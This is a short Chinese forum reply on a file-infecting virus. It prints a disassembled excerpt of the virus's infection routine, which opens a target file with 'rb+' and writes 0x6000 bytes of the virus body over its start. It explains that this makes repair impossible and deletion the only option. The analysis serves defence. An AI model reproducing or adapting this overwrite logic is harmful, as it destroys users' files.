删除是对的,虽然是无奈的,因为被感染文件已无法修复
以下是病毒体中感染文件的子函数内容:
传入的参数是文件完整路径。
00401AAD /$ B8 A42B4000
mov eax, 00402BA4
00401AB2 |. E8 C90C0000
call <jmp.&MSVCRT._EH_prolog>
00401AB7 |. 56
push esi00401AB8 |. 68 70404000
push 00404070
; /mode = "rb+"00401ABD |. FF75 08
push dword ptr [
ebp+8]
; |path00401AC0 |. FF15 48324000
call dword ptr [<&MSVCRT.fopen>]
; \fopen00401AC6 |. 8BF0
mov esi,
eax00401AC8 |. 59
pop ecx00401AC9 |. 85F6
test esi,
esi00401ACB |. 59
pop ecx00401ACC |. 74 1E
je short 00401AEC
00401ACE |. 56
push esi ; /stream00401ACF |. FF35 20404000
push dword ptr [404020]
; |n = 6000 (24576.)00401AD5 |. 6A 01
push 1
; |size = 100401AD7 |. 68 38464000
push 00404638
; |ptr = Launcher.0040463800401ADC |. FF15 54324000
call dword ptr [<&MSVCRT.fwrite>]
; \fwrite00401AE2 |. 56
push esi ; /stream00401AE3 |. FF15 4C324000
call dword ptr [<&MSVCRT.fclose>]
; \fclose00401AE9 |. 83C4 14
add esp, 14
00401AEC |> 834D FC FF
or dword ptr [
ebp-4], FFFFFFFF
00401AF0 |. 8D4D 08
lea ecx,
dword ptr [
ebp+8]
00401AF3 |. E8 C20A0000
call <jmp.&MFC42.#800_CString::~CString>
00401AF8 |. 8B4D F4
mov ecx,
dword ptr [
ebp-C]
00401AFB |. 5E
pop esi00401AFC |. 64:890D 00000>
mov dword ptr fs:[0],
ecx00401B03 |. C9
leave00401B04 \. C3
retn看完这一段,就很明显了,
病毒将从自身文件中读取出来的前0x6000字节内容,覆盖了被感染文件的最前方。这样就没有修复的可能了。